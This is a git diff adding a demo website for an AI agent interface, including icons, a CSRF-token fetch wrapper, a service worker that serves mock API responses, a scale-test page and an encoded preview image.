-0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/static/icons/user.svg b/website-design/exp/static/icons/user.svg new file mode 100644 index 00000000..8e61592b --- /dev/null +++ b/website-design/exp/static/icons/user.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/workflow.svg b/website-design/exp/static/icons/workflow.svg new file mode 100644 index 00000000..811aeff1 --- /dev/null +++ b/website-design/exp/static/icons/workflow.svg @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + diff --git a/website-design/exp/static/icons/wrench.svg b/website-design/exp/static/icons/wrench.svg new file mode 100644 index 00000000..36243432 --- /dev/null +++ b/website-design/exp/static/icons/wrench.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/icons/x.svg b/website-design/exp/static/icons/x.svg new file mode 100644 index 00000000..e3179434 --- /dev/null +++ b/website-design/exp/static/icons/x.svg @@ -0,0 +1,14 @@ + + + + diff --git a/website-design/exp/static/icons/zap.svg b/website-design/exp/static/icons/zap.svg new file mode 100644 index 00000000..a64ccff7 --- /dev/null +++ b/website-design/exp/static/icons/zap.svg @@ -0,0 +1,13 @@ + + + diff --git a/website-design/exp/static/security.js b/website-design/exp/static/security.js new file mode 100644 index 00000000..f2cdd8e7 --- /dev/null +++ b/website-design/exp/static/security.js @@ -0,0 +1,109 @@ +(function () { + if (window.__secureFetchWrapped) { + return; + } + if (typeof window.fetch !== 'function') { + return; + } + + window.__secureFetchWrapped = true; + const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS', 'TRACE']); + const originalFetch = window.fetch.bind(window); + const csrfState = { + token: null, + inflight: null + }; + + async function fetchCsrfToken(forceRefresh = false) { + if (!forceRefresh && csrfState.token) { + return csrfState.token; + } + if (csrfState.inflight && !forceRefresh) { + return csrfState.inflight; + } + csrfState.inflight = originalFetch('/api/csrf-token', { credentials: 'same-origin' }) + .then((resp) => { + if (!resp.ok) { + throw new Error('无法获取 CSRF token'); + } + return resp.json(); + }) + .then((data) => { + csrfState.token = data && data.token ? data.token : ''; + csrfState.inflight = null; + return csrfState.token; + }) + .catch((err) => { + csrfState.inflight = null; + csrfState.token = null; + throw err; + }); + return csrfState.inflight; + } + + function extractMethod(resource, options) { + if (options && options.method) { + return options.method; + } + const RequestCtor = typeof Request !== 'undefined' ? Request : null; + if (RequestCtor && resource instanceof RequestCtor && resource.method) { + return resource.method; + } + return 'GET'; + } + + function mergeHeaders(baseHeaders, extraHeaders) { + const merged = new Headers(baseHeaders || {}); + if (extraHeaders) { + new Headers(extraHeaders).forEach((value, key) => merged.set(key, value)); + } + return merged; + } + + async function secureFetch(resource, init) { + const RequestCtor = typeof Request !== 'undefined' ? Request : null; + let requestInfo = resource; + let options = init ? { ...init } : {}; + const method = (extractMethod(resource, options) || 'GET').toUpperCase(); + const needsProtection = !SAFE_METHODS.has(method); + + if (needsProtection) { + const token = await fetchCsrfToken(); + if (RequestCtor && resource instanceof RequestCtor) { + const merged = mergeHeaders(resource.headers, options.headers); + merged.set('X-CSRF-Token', token); + requestInfo = new RequestCtor(resource, { headers: merged }); + if (options.headers) { + options = { ...options }; + delete options.headers; + } + } else { + const headers = mergeHeaders(null, options.headers); + headers.set('X-CSRF-Token', token); + options.headers = headers; + } + } + return originalFetch(requestInfo, options); + } + + async function requestSocketToken() { + const resp = await originalFetch('/api/socket-token', { credentials: 'same-origin' }); + if (!resp.ok) { + throw new Error('无法获取实时连接凭证'); + } + const data = await resp.json(); + if (!data || !data.success || !data.token) { + throw new Error((data && data.error) || '实时连接凭证无效'); + } + return data.token; + } + + window.fetch = function (resource, init) { + return secureFetch(resource, init); + }; + + window.ensureCsrfToken = fetchCsrfToken; + window.refreshCsrfToken = () => fetchCsrfToken(true); + window.requestSocketToken = requestSocketToken; + window.secureFetch = secureFetch; +})(); diff --git a/website-design/exp/static/style.css b/website-design/exp/static/style.css new file mode 100644 index 00000000..7bcef097 --- /dev/null +++ b/website-design/exp/static/style.css @@ -0,0 +1,2 @@ +/* 新版 Vite 样式 */ +@import url('/static/dist/assets/main.css?v=20251125'); diff --git a/website-design/exp/sw.js b/website-design/exp/sw.js new file mode 100644 index 00000000..eacf70a2 --- /dev/null +++ b/website-design/exp/sw.js @@ -0,0 +1,207 @@ +/* Astrion 官网演示 —— Service Worker:API 静态 mock + * + * 真实前端构建产物原样运行,本 SW 拦截数据层: + * - /api/* → mock/*.json 静态响应 + * - /socket.io/* → 503(前端自动降级 REST 轮询) + * - 导航请求 → demo.html(支撑 history 路由刷新) + * - 其余 → 放行 + */ + +const DEMO_PAGE = '/demo.html'; +const CACHE = 'astrion-demo-v4'; + +/* ── 静态响应体 ── */ + +const MODELS = { + items: [ + { + context_window: 256000, description: 'Kimi-K3', fast_only: false, + max_output_tokens: 32768, model_key: 'Kimi-K3', multimodal: 'image,video', + name: 'Kimi-K3', supports_reasoning_effort: false, supports_thinking: true, + thinking_only: false, visible: true + } + ] +}; + +const SESSION_STATUS = { + success: true, + session: { host_mode: true, logged_in: true, role: 'admin', run_mode: 'thinking', thinking_mode: true, username: 'host' } +}; + +const WORKSPACES = { + success: true, + data: { + current_workspace_id: 'ws-daily', + default_workspace_id: 'ws-daily', + workspaces: [ + { workspace_id: 'ws-daily', label: '日常使用', path: '/Users/demo/daily', is_current: true, running_task_count: 0 }, + { workspace_id: 'ws-starraid', label: 'StarRaid', path: '/Users/demo/starraid', is_current: false, running_task_count: 0 }, + { workspace_id: 'ws-dev', label: '开发实战', path: '/Users/demo/dev', is_current: false, running_task_count: 0 } + ] + } +}; + +const UI_BLOCKS = { + block_compress_conversation: false, block_conversation_review: false, + block_file_manager: false, block_focus_panel: false, block_personal_space: false, + block_realtime_terminal: false, block_token_panel: false, block_tool_toggle: false, + block_upload: false, block_virtual_monitor: false, collapse_workspace: false +}; + +const STATUS = { + success: true, + version: '2026-08-23', + host_mode: true, + admin_policy: { disabled_models: [], forced_category_states: {}, ui_blocks: UI_BLOCKS, version: '2026-08-23' } +}; + +const PERSONALIZATION = { + success: true, + data: { + theme: 'classic', + block_display_mode: 'minimal', + compact_message_display: 'brief', + communication_style: 'auto', + conversation_continuity: 'medium', + agents_md_auto_inject: true, + auto_deep_compress_enabled: true, + auto_generate_title: true, + auto_shallow_compress_enabled: false + }, + context_compression_settings: { + context_window_tokens: 256000, deep_trigger_tokens: 256000, + shallow_keep_recent_tools: 15, shallow_keep_user_turn_tools: 3, + shallow_max_replace_per_round: 10, shallow_trigger_tokens: 1000, + shallow_trigger_tool_calls_interval: 10 + } +}; + +const WORK_MODE = { success: true, mode: 'execute', options: ['plan', 'ask', 'execute'], permission_mode: 'unrestricted', execution_mode: 'sandbox' }; +const PERMISSION_MODE = { success: true, mode: 'unrestricted', options: ['readonly', 'approval', 'auto_approval', 'unrestricted'], pending_mode: null }; +const EXECUTION_MODE = { success: true, enabled: true, options: ['sandbox', 'direct'], pending_mode: null, state: { default_mode: 'sandbox', mode: 'sandbox' } }; +const NETWORK_PERMISSION = { success: true, enabled: true, mode: 'restricted', options: ['restricted', 'full', 'none'], pending_mode: null }; +const TUTORIAL = { success: true, data: { applicable: false, should_prompt: false, tutorial_completed: true, username: 'host' } }; +const USAGE = { success: true, data: { quotas: { fast: { count: 0, limit: 200 }, thinking: { count: 0, limit: 200 }, search: { count: 0, limit: 20 } }, role: 'user' } }; +const EMPTY_OK = { success: true, data: {} }; +const EMPTY_LIST = { success: true, data: [] }; +const GIT_SUMMARY = { success: true, data: { available: false } }; + +function json(body, status = 200) { + return new Response(JSON.stringify(body), { + status, + headers: { 'Content-Type': 'application/json; charset=utf-8', 'Cache-Control': 'no-store' } + }); +} + +/* ── 安装:预缓存演示页 ── */ +self.addEventListener('install', (e) => { + e.waitUntil(caches.open(CACHE).then((c) => c.add(DEMO_PAGE)).then(() => self.skipWaiting())); +}); + +self.addEventListener('activate', (e) => { + e.waitUntil( + caches.keys() + .then((keys) => Promise.all(keys.filter((k) => k !== CACHE).map((k) => caches.delete(k)))) + .then(() => self.clients.claim()) + ); +}); + +/* ── 请求路由 ── */ +self.addEventListener('fetch', (e) => { + const url = new URL(e.request.url); + if (url.origin !== self.location.origin) return; + + // 导航请求:仅前端对话路由(/new、/)回退到演示页;真实文件放行 + if (e.request.mode === 'navigate') { + const isAppRoute = /^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(url.pathname) || url.pathname === '/new'; + if (isAppRoute) { + e.respondWith(caches.match(DEMO_PAGE).then((r) => r || fetch(DEMO_PAGE))); + } + return; + } + + // socket.io → 断连(前端降级 REST 轮询) + if (url.pathname.startsWith('/socket.io/')) { + e.respondWith(new Response('demo: realtime disabled', { status: 503 })); + return; + } + + if (!url.pathname.startsWith('/api/')) return; // 静态资源放行 + + e.respondWith(routeApi(url)); +}); + +async function routeApi(url) { + const p = url.pathname; + + // 子智能体活动详情 + const actMatch = p.match(/^\/api\/sub_agents\/(sub_[\w-]+)\/activity$/); + if (actMatch) { + const r = await fetch(`/mock/activity-${actMatch[1]}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: true, data: { status: 'completed', entries: [] } }); + } + + // 子智能体列表 + if (p === '/api/sub_agents') { + const convId = url.searchParams.get('conversation_id') || ''; + const r = await fetch(`/mock/sub-agents-${convId}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: true, data: [] }); + } + + // 多智能体活跃实例(演示无) + if (p === '/api/multiagent/active_sub_agents') return json({ success: true, agents: [] }); + + // 待办 / 后台命令(演示对话为空) + if (p === '/api/todo-list') return json({ success: true, data: null }); + if (p === '/api/background_commands') return json({ success: true, data: [] }); + + // 文件预览(快捷窗口点文件名):返回真实调研报告内容 + if (p === '/api/file/content') { + const name = (url.searchParams.get('path') || '').split('/').pop(); + const r = await fetch(`/mock/file-${name}`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'text/plain; charset=utf-8' } }); + return new Response('演示环境没有该文件', { status: 404 }); + } + + // 对话 bootstrap + const bootMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/bootstrap$/); + if (bootMatch) { + const r = await fetch(`/mock/bootstrap-${bootMatch[1]}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: false, error: '对话不存在' }, 404); + } + + // 对话列表 + if (p === '/api/conversations') { + const ma = url.searchParams.get('multi_agent_mode') === '1'; + const r = await fetch(`/mock/conversations-${ma ? 'ma' : 'normal'}.json`); + return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + } + + // 各状态端点 + if (p === '/api/session-status') return json(SESSION_STATUS); + if (p === '/api/csrf-token') return json({ success: true, csrf_token: 'demo' }); + if (p === '/api/v1/models') return json(MODELS); + if (p === '/api/host/workspaces') return json(WORKSPACES); + if (p === '/api/status') return json(STATUS); + if (p === '/api/personalization') return json(PERSONALIZATION); + if (p === '/api/work-mode') return json(WORK_MODE); + if (p === '/api/permission-mode') return json(PERMISSION_MODE); + if (p === '/api/execution-mode') return json(EXECUTION_MODE); + if (p === '/api/network-permission') return json(NETWORK_PERMISSION); + if (p === '/api/tutorial-status') return json(TUTORIAL); + if (p === '/api/usage') return json(USAGE); + if (p === '/api/project/git-summary') return json(GIT_SUMMARY); + if (p === '/api/health') return json({ status: 'ok' }); + if (p === '/api/focused') return json({}); + if (p === '/api/tasks' || p === '/api/terminals') return json(EMPTY_LIST); + if (p === '/api/tool-settings') return json({ success: true, categories: [] }); + if (p === '/api/effective-policy') return json({ success: true, data: { categories: {} } }); + if (p === '/api/project-storage') return json(EMPTY_OK); + if (p === '/api/input-draft') return json(EMPTY_OK); + + // 兜底 + return json(EMPTY_OK); +} diff --git a/website-design/exp/test-scale.html b/website-design/exp/test-scale.html new file mode 100644 index 00000000..ab090a0c --- /dev/null +++ b/website-design/exp/test-scale.html @@ -0,0 +1,57 @@ + + + + + scale 验证 + + + +
+

演示区(容器宽 1032px,iframe 内部按 1400px 排版后等比缩至 0.737)

+
+
+ +
+
+
+ + + + diff --git a/website-design/previews/anim2-scene-v2.png b/website-design/previews/anim2-scene-v2.png new file mode 100644 index 0000000000000000000000000000000000000000..653df7cc033921076c780f6c297245df619b0512 GIT binary patch literal 29463 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 z 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 